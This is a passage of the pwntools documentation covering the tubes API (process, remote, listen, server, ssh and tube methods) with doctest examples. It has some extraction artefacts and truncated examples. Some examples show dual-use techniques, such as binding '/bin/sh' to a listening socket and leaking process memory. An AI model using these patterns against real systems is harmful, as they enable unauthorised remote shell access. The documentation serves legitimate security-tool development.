Implemented as a list. Strings are added onto the end. The 0th item in the buffer is the oldest item,
and will be received first.
add(data)
Adds data to the buffer.
Parameters data (str,Buffer) – Data to add
get(want=inf )
Retrieves bytes from the buffer.
Parameters want (int) – Maximum number of bytes to fetch
Returns Data as string
Example
>>> b = Buffer()
>>> b.add(b'hello')
>>> b.add(b'world')
>>> b.get(1)
b'h'
>>> b.get()
b'elloworld'
get_fill_size(size=None)
Retrieves the default fill size for this buffer class.
Parameters size (int) – (Optional) If set and not None, returns the size variable back.
Returns Fill size as integer if size == None, else size.
index(x)
>>> b = Buffer()
>>> b.add(b'asdf')
>>> b.add(b'qwert')
>>> b.index(b't') == len(b) - 1
True
unget(data)
Places data at the front of the buffer.
Parameters data (str,Buffer) – Data to place at the beginning of the buffer.
Example
>>> b = Buffer()
>>> b.add(b"hello")
>>> b.add(b"world")
>>> b.get(5)
b'hello'
>>> b.unget(b"goodbye")
>>> b.get()
b'goodbyeworld'
pwnlib.tubes.process — Processes
If False, prevent setuid bits from taking effect on the target binary. This is only sup-
ported on Linux, with kernels v3.5 or greater.
• where (str) – Where the process is running, used for logging purposes.
• display (list) – List of arguments to display, instead of the main executable name.
• alarm (int) – Set a SIGALRM alarm timeout on the process.
Examples
>>> p = process('python2')
>>> p.sendline(b"print 'Hello world'")
>>> p.sendline(b"print 'Wow, such data'");
>>> b'' == p.recv(timeout=0.01)
True
>>> p.shutdown('send')
>>> p.proc.stdin.closed
True
>>> p.connected('send')
False
>>> p.recvline()
b'Hello world\n'
>>> p.recvuntil(b',')
b'Wow,'
>>> p.recvregex(b'.*data')
b' such data'
>>> p.recv()
b'\n'
>>> p.recv() # doctest: +ELLIPSIS
Traceback (most recent call last):
...
EOFError
>>> p = process('cat')
>>> d = open('/dev/urandom', 'rb').read(4096)
>>> p.recv(timeout=0.1)
b''
>>> p.write(d)
>>> p.recvrepeat(0.1) == d
True
>>> p.recv(timeout=0.1)
b''
>>> p.shutdown('send')
>>> p.wait_for_close()
>>> p.poll()
0
>>> p.recv()
b'\x00\x00\x00\x00\x00\x00\x00\x00'
>>> process(stack_smashing).recvall()
b'stack smashing detected'
can_recv_raw(timeout) → bool
Should not be called directly. Returns True, if there is data available within the timeout, but ignores the
buffer on the object.
close()
Closes the tube.
communicate(stdin = None) → str
Calls subprocess.Popen.communicate() method on the process.
connected_raw(direction)
connected(direction = ‘any’) -> bool
Should not be called directly. Returns True iff the tube is connected in the given direction.
fileno() → int
Returns the file number used for reading.
kill()
Kills the process.
leak(address, count=1)
Leaks memory within the process at the specified address.
Parameters
• address (int) – Address to leak memory at
• count (int) – Number of bytes to leak at that address.
Example
>>> e = ELF('/bin/bash')
>>> p = process(e.path)
In order to make sure there’s not a race condition against the process getting set up. . .
>>> p.leak(e.address, 4)
b'\x7fELF'
libs() → dict
Return a dictionary mapping the path of each shared library loaded by the process to the address it is loaded
at in the process’ address space.
poll(block = False) → int
Parameters block (bool) – Wait for the process to exit
Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code
otherwise.
recv_raw(numb) → str
Should not be called directly. Receives data without using the buffer on the object.
Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it
should return None, in case of a closed connection it should raise an exceptions.EOFError.
send_raw(data)
Should not be called directly. Sends data to the tube.
Should return exceptions.EOFError, if it is unable to send any more, because of a close tube.
settimeout_raw(timeout)
Should not be called directly. Sets the timeout for the tube.
shutdown_raw(direction)
Should not be called directly. Closes the tube for further reading or writing.
alarm = None
Alarm timeout of the process
argv = None
Arguments passed on argv
aslr = None
Whether ASLR should be left on
corefile
Returns a corefile for the process.
If the process is alive, attempts to create a coredump with GDB.
If the process is dead, attempts to locate the coredump created by the kernel.
cwd
Directory that the process is working in.
Example
>>> p = process('sh')
>>> p.sendline(b'cd /tmp; echo AAA')
>>> _ = p.recvuntil(b'AAA')
>>> p.cwd == '/tmp'
True
>>> p.sendline(b'cd /proc; echo BBB;')
>>> _ = p.recvuntil(b'BBB')
>>> p.cwd
'/proc'
elf
Returns an ELF file for the executable that launched the process.
env = None
Environment passed on envp
executable = None
Full path to the executable
libc
Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address
automatically.
Example:
>>> p = process("/bin/cat")
>>> libc = p.libc
>>> libc # doctest: +SKIP
ELF('/lib64/libc-...so')
>>> p.close()
proc = None
subprocess.Popen object that backs this process
program
Alias for executable, for backward compatibility.
Example
>>> p = process('true')
>>> p.executable == '/bin/true'
True
>>> p.executable == p.program
True
pty = None
Which file descriptor is the controlling TTY
raw = None
Whether the controlling TTY is set to raw mode
stderr
Shorthand for self.proc.stderr
See: process.proc
stdin
Shorthand for self.proc.stdin
See: process.proc
stdout
Shorthand for self.proc.stdout
See: process.proc
can_recv_raw(timeout) → bool
Should not be called directly. Returns True, if there is data available within the timeout, but ignores the
buffer on the object.
close()
Closes the tube.
connected_raw(direction)
connected(direction = ‘any’) -> bool
Should not be called directly. Returns True iff the tube is connected in the given direction.
fileno() → int
Returns the file number used for reading.
recv_raw(numb) → str
Should not be called directly. Receives data without using the buffer on the object.
Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it
should return None, in case of a closed connection it should raise an exceptions.EOFError.
send_raw(data)
Should not be called directly. Sends data to the tube.
Should return exceptions.EOFError, if it is unable to send any more, because of a close tube.
settimeout_raw(timeout)
Should not be called directly. Sets the timeout for the tube.
shutdown_raw(direction)
Should not be called directly. Closes the tube for further reading or writing.
pwnlib.tubes.sock — Sockets
class pwnlib.tubes.sock.sock
Bases: pwnlib.tubes.tube.tube
Base type used for tubes.remote and tubes.listen classes
class pwnlib.tubes.remote.remote(host, port, fam=’any’, typ=’tcp’, ssl=False, sock=None,
ssl_args=None, *args, **kwargs)
Bases: pwnlib.tubes.sock.sock
Creates a TCP or UDP-connection to a remote host. It supports both IPv4 and IPv6.
The returned object supports all the methods from pwnlib.tubes.sock and pwnlib.tubes.tube.
Parameters
• host (str) – The host to connect to.
• port (int) – The port to connect to.
• fam – The string “any”, “ipv4” or “ipv6” or an integer to pass to socket.
getaddrinfo().
• typ – The string “tcp” or “udp” or an integer to pass to socket.getaddrinfo().
• timeout – A positive number, None or the string “default”.
• ssl (bool) – Wrap the socket with SSL
• sock (socket.socket) – Socket to inherit, rather than connecting
• ssl_args (dict) – Pass ssl.wrap_socket named arguments in a dictionary.
Examples
>>> r = remote('127.0.0.1', 1)
Traceback (most recent call last):
...
PwnlibException: Could not connect to 127.0.0.1 on port 1
classmethod fromsocket(socket)
Helper method to wrap a standard python socket.socket with the tube APIs.
Parameters socket – Instance of socket.socket
Returns Instance of pwnlib.tubes.remote.remote.
class pwnlib.tubes.listen.listen(port=0, bindaddr=’0.0.0.0’, fam=’any’, typ=’tcp’, *args,
**kwargs)
Bases: pwnlib.tubes.sock.sock
Creates an TCP or UDP-socket to receive data on. It supports both IPv4 and IPv6.
The returned object supports all the methods from pwnlib.tubes.sock and pwnlib.tubes.tube.
Parameters
• port (int) – The port to connect to. Defaults to a port auto-selected by the operating
system.
• bindaddr (str) – The address to bind to. Defaults to 0.0.0.0 / ::.
• fam – The string “any”, “ipv4” or “ipv6” or an integer to pass to socket.
getaddrinfo().
• typ – The string “tcp” or “udp” or an integer to pass to socket.getaddrinfo().
Examples
>>> l = listen(1234)
>>> r = remote('localhost', l.lport)
>>> _ = l.wait_for_connection()
>>> l.sendline(b'Hello')
>>> r.recvline()
b'Hello\n'
>>> l = listen()
>>> l.spawn_process('/bin/sh')
>>> r = remote('localhost', l.lport)
>>> r.sendline(b'echo Goodbye')
>>> r.recvline()
b'Goodbye\n'
close()
Closes the tube.
spawn_process(*args, **kwargs)
Spawns a new process having this tube as stdin, stdout and stderr.
Takes the same arguments as subprocess.Popen.
wait_for_connection()
Blocks until a connection has been established.
canonname = None
Canonical name of the listening interface
family = None
Socket family
lhost = None
Local host
lport = 0
Local port
protocol = None
Socket protocol
sockaddr = None
Sockaddr structure that is being listened on
type = None
Socket type (e.g. socket.SOCK_STREAM)
class pwnlib.tubes.server.server(port=0, bindaddr=’0.0.0.0’, fam=’any’, typ=’tcp’, call-
back=None, blocking=False, *args, **kwargs)
Bases: pwnlib.tubes.sock.sock
Creates an TCP or UDP-server to listen for connections. It supports both IPv4 and IPv6.
Parameters
• port (int) – The port to connect to. Defaults to a port auto-selected by the operating
system.
• bindaddr (str) – The address to bind to. Defaults to 0.0.0.0 / ::.
• fam – The string “any”, “ipv4” or “ipv6” or an integer to pass to socket.
getaddrinfo().
• typ – The string “tcp” or “udp” or an integer to pass to socket.getaddrinfo().
• callback – A function to be started on incoming connections. It should take a pwnlib.
tubes.remote as its only argument.
Examples
>>> s = server(8888)
>>> client_conn = remote('localhost', s.lport)
>>> server_conn = s.next_connection()
>>> client_conn.sendline(b'Hello')
>>> server_conn.recvline()
b'Hello\n'
>>> def cb(r):
... client_input = r.readline()
... r.send(client_input[::-1])
...
>>> t = server(8889, callback=cb)
>>> client_conn = remote('localhost', t.lport)
>>> client_conn.sendline(b'callback')
>>> client_conn.recv()
b'\nkcabllac'
close()
Closes the tube.
canonname = None
Canonical name of the listening interface
family = None
Socket family
lhost = None
Local host
lport = 0
Local port
protocol = None
Socket protocol
sockaddr = None
Sockaddr structure that is being listened on
type = None
Socket type (e.g. socket.SOCK_STREAM)
pwnlib.tubes.ssh — SSH
>>> s1 = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> r1 = s1.remote('localhost', 22)
>>> s2 = ssh(host='example.pwnme',
... user='travis',
... password='demopass',
... proxy_sock=r1.sock)
>>> r2 = s2.remote('localhost', 22) # and so on...
>>> for x in r2, s2, r1, s1: x.close()
checksec()
Prints a helpful message about the remote system.
Parameters banner (bool) – Whether to print the path to the ELF binary.
close()
Close the connection.
connect_remote(host, port, timeout = Timeout.default) → ssh_connecter
Connects to a host through an SSH connection. This is equivalent to using the -L flag on ssh.
Returns a pwnlib.tubes.ssh.ssh_connecter object.
Examples
connected()
Returns True if we are connected.
Example
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> s.connected()
True
>>> s.close()
>>> s.connected()
False
download(file_or_directory, local=None)
Download a file or directory from the remote host.
Parameters
• file_or_directory (str) – Path to the file or directory to download.
• local (str) – Local path to store the data. By default, uses the current directory.
download_data(remote)
Downloads a file from the remote server and returns it as a string.
Parameters remote (str) – The remote filename to download.
Examples
download_dir(remote=None, local=None)
Recursively downloads a directory from the remote server
Parameters
• local – Local directory
• remote – Remote directory
download_file(remote, local=None)
Downloads a file from the remote server.
The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so calling the function twice has
little overhead.
Parameters
• remote (str) – The remote filename to download
• local (str) – The local filename to save it to. Default is to infer it from the remote
filename.
get(file_or_directory, local=None)
download(file_or_directory, local=None)
Download a file or directory from the remote host.
Parameters
• file_or_directory (str) – Path to the file or directory to download.
• local (str) – Local path to store the data. By default, uses the current directory.
getenv(variable, **kwargs)
Retrieve the address of an environment variable on the remote system.
Note: The exact address will differ based on what other environment variables are set, as well as argv[0].
In order to ensure that the path is exactly the same, it is recommended to invoke the process with argv=[].
interactive(shell=None)
Create an interactive session.
This is a simple wrapper for creating a new pwnlib.tubes.ssh.ssh_channel object and calling
pwnlib.tubes.ssh.ssh_channel.interactive() on it.
libs(remote, directory=None)
Downloads the libraries referred to by a file.
This is done by running ldd on the remote server, parsing the output and downloading the relevant files.
The directory argument specified where to download the files. This defaults to ‘./$HOSTNAME’ where
$HOSTNAME is the hostname of the remote server.
listen(port=0, bind_address=”, timeout=pwnlib.timeout.Timeout.default)
listen_remote(port = 0, bind_address = ‘’, timeout = Timeout.default) -> ssh_connecter
Listens remotely through an SSH connection. This is equivalent to using the -R flag on ssh.
Returns a pwnlib.tubes.ssh.ssh_listener object.
Examples
Examples
As an added bonus, the ssh_channel object returned has a pid property for the process pid.
Parameters
• argv (list) – List of arguments to pass into the process
• executable (str) – Path to the executable to run. If None, argv[0] is used.
• tty (bool) – Request a tty from the server. This usually fixes buffering problems by
causing libc to write data immediately rather than buffering it. However, this disables
interpretation of control codes (e.g. Ctrl+C) and breaks .shutdown.
• cwd (str) – Working directory. If None, uses the working directory specified on cwd or
set via set_working_directory().
• env (dict) – Environment variables to set in the child. If None, inherits the default
environment.
• timeout (int) – Timeout to set on the tube created to interact with the process.
• run (bool) – Set to True to run the program (default). If False, returns the path to an
executable Python script on the remote server which, when executed, will do it.
• stdin (int, str) – If an integer, replace stdin with the numbered file descriptor. If a
string, a open a file with the specified path and replace stdin with its file descriptor. May
also be one of sys.stdin, sys.stdout, sys.stderr. If None, the file descriptor
is closed.
• stdout (int, str) – See stdin.
• stderr (int, str) – See stdin.
• preexec_fn (callable) – Function which is executed on the remote side before ex-
ecve(). This MUST be a self-contained function – it must perform all of its own imports,
and cannot refer to variables outside its scope.
• preexec_args (object) – Argument passed to preexec_fn. This MUST only
consist of native Python objects.
• raw (bool) – If True, disable TTY control code interpretation.
• aslr (bool) – See pwnlib.tubes.process.process for more information.
• setuid (bool) – See pwnlib.tubes.process.process for more information.
• shell (bool) – Pass the command-line arguments to the shell.
Returns A new SSH channel, or a path to a script if run=False.
Notes
Examples
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> sh = s.process('/bin/sh', env={'PS1':''})
>>> sh.sendline(b'echo Hello; exit')
>>> sh.recvall()
(continues on next page)
b'LOLOLOL\x00/proc/self/cmdline\x00'
>>> sh = s.process(executable='/bin/sh')
>>> sh.pid in pidof('sh') # doctest: +SKIP
True
>>> s.process(['pwd'], cwd='/tmp').recvall()
b'/tmp\n'
>>> p = s.process(['python','-c','import os; print(os.read(2, 1024))'],
˓→stderr=0)
>>> p.send(b'hello')
>>> p.recv()
b'hello\n'
>>> s.process(['/bin/echo', 'hello']).recvall()
b'hello\n'
>>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
b''
>>> s.process(['/usr/bin/env'], env={}).recvall()
b''
>>> s.process('/usr/bin/env', env={'A':'B'}).recvall()
b'A=B\n'
put(file_or_directory, remote=None)
upload(file_or_directory, remote=None)
Upload a file or directory to the remote host.
Parameters
Examples
Examples
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> print(s.run_to_end('echo Hello; exit 17'))
(b'Hello\n', 17)
set_working_directory(wd=None, symlink=False)
Sets the working directory in which future commands will be run (via ssh.run) and to which files will be
uploaded/downloaded from if no path is provided
Note: This uses mktemp -d under the covers, sets permissions on the directory to 0700. This means
that setuid binaries will not be able to access files created in this directory.
In order to work around this, we also chmod +x the directory.
Parameters
• wd (string) – Working directory. Default is to auto-generate a directory based on the
result of running ‘mktemp -d’ on the remote machine.
Examples
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> cwd = s.set_working_directory()
>>> s.ls()
b''
>>> s.pwd() == cwd
True
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> homedir = s.pwd()
>>> _=s.touch('foo')
>>> _=s.set_working_directory()
>>> assert s.ls() == b''
>>> _=s.set_working_directory(homedir)
>>> assert b'foo' in s.ls().split()
>>> _=s.set_working_directory(symlink=True)
>>> assert b'foo' in s.ls().split()
>>> assert homedir != s.pwd()
>>> symlink=os.path.join(homedir,b'*')
>>> _=s.set_working_directory(symlink=symlink)
>>> assert b'foo' in s.ls().split()
>>> assert homedir != s.pwd()
Examples
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> sh = s.shell('/bin/sh')
>>> sh.sendline(b'echo Hello; exit')
>>> print(b'Hello' in sh.recvall())
True
system(process, tty = True, wd = None, env = None, timeout = Timeout.default, raw = True) →
ssh_channel
Open a new channel with a specific process inside. If tty is True, then a TTY is requested on the remote
server.
If raw is True, terminal control codes are ignored and input is not echoed back.
Return a pwnlib.tubes.ssh.ssh_channel object.
Examples
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> py = s.run('python -i')
>>> _ = py.recvuntil(b'>>> ')
>>> py.sendline(b'print(2+2)')
>>> py.sendline(b'exit')
>>> print(repr(py.recvline()))
b'4\n'
unlink(file)
Delete the file on the remote host
Parameters file (str) – Path to the file
upload(file_or_directory, remote=None)
Upload a file or directory to the remote host.
Parameters
• file_or_directory (str) – Path to the file or directory to download.
• remote (str) – Local path to store the data. By default, uses the working directory.
upload_data(data, remote)
Uploads some data into a file on the remote server.
Parameters
• data (str) – The data to upload.
• remote (str) – The filename to upload it to.
Example
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> s.upload_data(b'Hello, world', '/tmp/upload_foo')
>>> print(open('/tmp/upload_foo').read())
Hello, world
>>> s._sftp = False
>>> s._tried_sftp = True
>>> s.upload_data(b'Hello, world', '/tmp/upload_bar')
>>> print(open('/tmp/upload_bar').read())
Hello, world
upload_dir(local, remote=None)
Recursively uploads a directory onto the remote server
Parameters
• local – Local directory
• remote – Remote directory
upload_file(filename, remote=None)
Uploads a file to the remote server. Returns the remote filename.
Arguments: filename(str): The local filename to download remote(str): The remote filename to save it to.
Default is to infer it from the local filename.
which(program) → str
Minor modification to just directly invoking which on the remote system which adds the current working
directory to the end of $PATH.
write(path, data)
Wrapper around upload_data to match pwnlib.util.misc.write()
arch
CPU Architecture of the remote machine.
Type str
aslr
Whether ASLR is enabled on the system.
Example
Type bool
aslr_ulimit
Whether the entropy of 32-bit processes can be reduced with ulimit.
Type bool
bits
Pointer size of the remote machine.
Type str
cache = True
Enable caching of SSH downloads (bool)
client = None
Paramiko SSHClient which backs this object
cwd = None
Working directory (str)
distro
Linux distribution name and release.
Type tuple
host = None
Remote host name (str)
os
Operating System of the remote machine.
Type str
pid = None
PID of the remote sshd process servicing this connection.
port = None
Remote port (int)
sftp
Paramiko SFTPClient object which is used for file transfers. Set to None to disable sftp.
version
Kernel version of the remote machine.
Type tuple
class pwnlib.tubes.ssh.ssh_channel
Bases: pwnlib.tubes.sock.sock
interactive(prompt = pwnlib.term.text.bold_red(’$’) + ’ ’)
If not in TTY-mode, this does exactly the same as meth:pwnlib.tubes.tube.tube.interactive, otherwise it
does mostly the same.
An SSH connection in TTY-mode will typically supply its own prompt, thus the prompt argument is ig-
nored in this case. We also have a few SSH-specific hacks that will ideally be removed once the pwnlib.
term is more mature.
kill()
Kills the process.
poll() → int
Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code
otherwise.
class pwnlib.tubes.ssh.ssh_connecter
Bases: pwnlib.tubes.sock.sock
class pwnlib.tubes.ssh.ssh_listener
Bases: pwnlib.tubes.sock.sock
class pwnlib.tubes.tube.tube
Container of all the tube functions common to sockets, TTYs and SSH connetions.
can_read(*a, **kw)
Alias for can_recv()
can_read_raw(*a, **kw)
Alias for can_recv_raw()
can_recv(timeout = 0) → bool
Returns True, if there is data available within timeout seconds.
Examples
clean(timeout = 0.05)
Removes all the buffered data from a tube by calling pwnlib.tubes.tube.tube.recv() with a
low timeout until it fails.
If timeout is zero, only cached data will be cleared.
Note: If timeout is set to zero, the underlying network is not actually polled; only the internal buffer is
cleared.
Returns All data received
Examples
>>> t = tube()
>>> t.unrecv(b'clean me up')
>>> t.clean(0)
b'clean me up'
>>> len(t.buffer)
0
clean_and_log(timeout = 0.05)
Works exactly as pwnlib.tubes.tube.tube.clean(), but logs received data with pwnlib.
self.info().
Returns All data received
Examples
close()
Closes the tube.
connect_both(other)
Connects the both ends of this tube object with another tube object.
connect_input(other)
Connects the input of this tube to the output of another tube object.
Examples
connect_output(other)
Connects the output of this tube to the input of another tube object.
Examples
any
recv
recv
recv
send
send
send
>>> t.connected('bad_value') #doctest: +ELLIPSIS
Traceback (most recent call last):
...
KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send',
˓→'write']"
fileno() → int
Returns the file number used for reading.
interactive(prompt = pwnlib.term.text.bold_red(’$’) + ’ ’)
Does simultaneous reading and writing to the tube. In principle this just connects the tube to standard in
and standard out, but in practice this is much more usable, since we are using pwnlib.term to print a
floating prompt.
Thus it only works in while in pwnlib.term.term_mode.
read(*a, **kw)
Alias for recv()
readS(*a, **kw)
Alias for recvS()
read_raw(*a, **kw)
Alias for recv_raw()
readall(*a, **kw)
Alias for recvall()
readallS(*a, **kw)
Alias for recvallS()
readallb(*a, **kw)
Alias for recvallb()
readb(*a, **kw)
Alias for recvb()
readline(*a, **kw)
Alias for recvline()
readlineS(*a, **kw)
Alias for recvlineS()
readline_contains(*a, **kw)
Alias for recvline_contains()
readline_containsS(*a, **kw)
Alias for recvline_containsS()
readline_containsb(*a, **kw)
Alias for recvline_containsb()
readline_endswith(*a, **kw)
Alias for recvline_endswith()
readline_endswithS(*a, **kw)
Alias for recvline_endswithS()
readline_endswithb(*a, **kw)
Alias for recvline_endswithb()
readline_pred(*a, **kw)
Alias for recvline_pred()
readline_regex(*a, **kw)
Alias for recvline_regex()
readline_regexS(*a, **kw)
Alias for recvline_regexS()
readline_regexb(*a, **kw)
Alias for recvline_regexb()
readline_startswith(*a, **kw)
Alias for recvline_startswith()
readline_startswithS(*a, **kw)
Alias for recvline_startswithS()
readline_startswithb(*a, **kw)
Alias for recvline_startswithb()
readlineb(*a, **kw)
Alias for recvlineb()
readlines(*a, **kw)
Alias for recvlines()
readlinesS(*a, **kw)
Alias for recvlinesS()
readlinesb(*a, **kw)
Alias for recvlinesb()
readn(*a, **kw)
Alias for recvn()
readnS(*a, **kw)
Alias for recvnS()
readnb(*a, **kw)
Alias for recvnb()
readpred(*a, **kw)
Alias for recvpred()
readpredS(*a, **kw)
Alias for recvpredS()
readpredb(*a, **kw)
Alias for recvpredb()
readregex(*a, **kw)
Alias for recvregex()
readregexS(*a, **kw)
Alias for recvregexS()
readregexb(*a, **kw)
Alias for recvregexb()
readrepeat(*a, **kw)
Alias for recvrepeat()
readrepeatS(*a, **kw)
Alias for recvrepeatS()
readrepeatb(*a, **kw)
Alias for recvrepeatb()
readuntil(*a, **kw)
Alias for recvuntil()
readuntilS(*a, **kw)
Alias for recvuntilS()
readuntilb(*a, **kw)
Alias for recvuntilb()
recv(numb = 4096, timeout = default) → bytes
Receives up to numb bytes of data from the tube, and returns as soon as any quantity of data is available.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.
Raises exceptions.EOFError – The connection is closed
Returns A bytes object containing bytes received from the socket, or '' if a timeout occurred
while waiting.
Examples
>>> t = tube()
>>> # Fake a data source
>>> t.recv_raw = lambda n: b'Hello, world'
(continues on next page)
recvS(*a, **kw)
Same as recv(), but returns a str,decoding the result using context.encoding.(note that the binary versions
are way faster)
recvall() → bytes
Receives data until EOF is reached.
recvallS(*a, **kw)
Same as recvall(), but returns a str,decoding the result using context.encoding.(note that the binary
versions are way faster)
recvallb(*a, **kw)
Same as recvall(), but returns a bytearray
recvb(*a, **kw)
Same as recv(), but returns a bytearray
recvline(keepends=True, timeout=default) → bytes
Receive a single line from the tube.
A “line” is any sequence of bytes terminated by the byte sequence set in newline, which defaults to
'\n'.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.
Parameters
• keepends (bool) – Keep the line ending (True).
• timeout (int) – Timeout
Returns All bytes received over the tube until the first newline '\n' is received. Optionally
retains the ending.
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b'Foo\nBar\r\nBaz\n'
>>> t.recvline()
b'Foo\n'
>>> t.recvline()
b'Bar\r\n'
>>> t.recvline(keepends = False)
b'Baz'
>>> t.newline = b'\r\n'
>>> t.recvline(keepends = False)
b'Foo\nBar'
recvlineS(*a, **kw)
Same as recvline(), but returns a str,decoding the result using context.encoding.(note that the binary
versions are way faster)
recvline_contains(items, keepends=False, timeout=pwnlib.timeout.Timeout.default)
Receive lines until one line is found which contains at least one of items.
Parameters
• items (str,tuple) – List of strings to search for, or a single string.
• keepends (bool) – Return lines with newlines if True
• timeout (int) – Timeout, in seconds
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello\nWorld\nXylophone\n"
>>> t.recvline_contains(b'r')
b'World'
>>> f = lambda n: b"cat dog bird\napple pear orange\nbicycle car train\n"
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains(b'pear')
b'apple pear orange'
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains((b'car', b'train'))
b'bicycle car train'
recvline_containsS(*a, **kw)
Same as recvline_contains(), but returns a str,decoding the result using context.encoding.(note
that the binary versions are way faster)
recvline_containsb(*a, **kw)
Same as recvline_contains(), but returns a bytearray
recvline_endswith(delims, keepends=False, timeout=default) → bytes
Keep receiving lines until one is found that starts with one of delims. Returns the last line received.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.
See recvline_startswith() for more details.
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\nKaboodle\n'
>>> t.recvline_endswith(b'r')
b'Bar'
>>> t.recvline_endswith((b'a',b'b',b'c',b'd',b'e'), True)
b'Kaboodle\n'
>>> t.recvline_endswith(b'oodle')
b'Kaboodle'
recvline_endswithS(*a, **kw)
Same as recvline_endswith(), but returns a str,decoding the result using context.encoding.(note
that the binary versions are way faster)
recvline_endswithb(*a, **kw)
Same as recvline_endswith(), but returns a bytearray
recvline_pred(pred, keepends=False) → bytes
Receive data until pred(line) returns a truthy value. Drop all other data.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.
Parameters pred (callable) – Function to call. Returns the line for which this function
returns True.
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b"Foo\nBar\nBaz\n"
>>> t.recvline_pred(lambda line: line == b"Bar\n")
b'Bar'
>>> t.recvline_pred(lambda line: line == b"Bar\n", keepends=True)
b'Bar\n'
>>> t.recvline_pred(lambda line: line == b'Nope!', timeout=0.1)
b''
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello\nWorld\nXylophone\n"
>>> t.recvline_startswith((b'W',b'X',b'Y',b'Z'))
b'World'
>>> t.recvline_startswith((b'W',b'X',b'Y',b'Z'), True)
b'Xylophone\n'
>>> t.recvline_startswith(b'Wo')
b'World'
recvline_startswithS(*a, **kw)
Same as recvline_startswith(), but returns a str,decoding the result using context.encoding.(note
that the binary versions are way faster)
recvline_startswithb(*a, **kw)
Same as recvline_startswith(), but returns a bytearray
recvlineb(*a, **kw)
Same as recvline(), but returns a bytearray
recvlines(numlines, keepends=False, timeout=default) → list of bytes objects
Receive up to numlines lines.
A “line” is any sequence of bytes terminated by the byte sequence set by newline, which defaults to
'\n'.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.
Parameters
• numlines (int) – Maximum number of lines to receive
• keepends (bool) – Keep newlines at the end of each line (False).
• timeout (int) – Maximum timeout
Raises exceptions.EOFError – The connection closed before the request could be satis-
fied
Returns A string containing bytes received from the socket, or '' if a timeout occurred while
waiting.
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlines(3)
[b'', b'', b'']
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlines(3)
[b'Foo', b'Bar', b'Baz']
>>> t.recvlines(3, True)
[b'Foo\n', b'Bar\n', b'Baz\n']
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlinesS(3)
['', '', '']
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlinesS(3)
['Foo', 'Bar', 'Baz']
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b'\n'
>>> t.recvlinesb(3)
[bytearray(b''), bytearray(b''), bytearray(b'')]
>>> t.recv_raw = lambda n: b'Foo\nBar\nBaz\n'
>>> t.recvlinesb(3)
[bytearray(b'Foo'), bytearray(b'Bar'), bytearray(b'Baz')]
Examples
>>> t = tube()
>>> data = b'hello world'
>>> t.recv_raw = lambda *a: data
>>> t.recvn(len(data)) == data
True
>>> t.recvn(len(data)+1) == data + data[:1]
True
>>> t.recv_raw = lambda *a: None
>>> # The remaining data is buffered
>>> t.recv() == data[1:]
True
>>> t.recv_raw = lambda *a: time.sleep(0.01) or b'a'
>>> t.recvn(10, timeout=0.05)
b''
>>> t.recvn(10, timeout=0.06) # doctest: +ELLIPSIS
b'aaaaaa...'
recvnS(*a, **kw)
Same as recvn(), but returns a str,decoding the result using context.encoding.(note that the binary ver-
sions are way faster)
recvnb(*a, **kw)
Same as recvn(), but returns a bytearray
recvpred(pred, timeout = default) → bytes
Receives one byte at a time from the tube, until pred(all_bytes) evaluates to True.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.
Parameters
• pred (callable) – Function to call, with the currently-accumulated data.
• timeout (int) – Timeout for the operation
Raises exceptions.EOFError – The connection is closed
Returns A bytes object containing bytes received from the socket, or '' if a timeout occurred
while waiting.
recvpredS(*a, **kw)
Same as recvpred(), but returns a str,decoding the result using context.encoding.(note that the binary
versions are way faster)
recvpredb(*a, **kw)
Same as recvpred(), but returns a bytearray
recvregex(regex, exact=False, timeout=default) → bytes
Wrapper around recvpred(), which will return when a regex matches the string in the buffer.
By default re.RegexObject.search() is used, but if exact is set to True, then re.
RegexObject.match() will be used instead.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.
recvregexS(*a, **kw)
Same as recvregex(), but returns a str,decoding the result using context.encoding.(note that the binary
versions are way faster)
recvregexb(*a, **kw)
Same as recvregex(), but returns a bytearray
recvrepeat(timeout=default) → bytes
Receives data until a timeout or EOF is reached.
Examples
>>> data = [
... b'd',
... b'', # simulate timeout
... b'c',
... b'b',
... b'a',
... ]
>>> def delayrecv(n, data=data):
... return data.pop()
(continues on next page)
recvrepeatS(*a, **kw)
Same as recvrepeat(), but returns a str,decoding the result using context.encoding.(note that the bi-
nary versions are way faster)
recvrepeatb(*a, **kw)
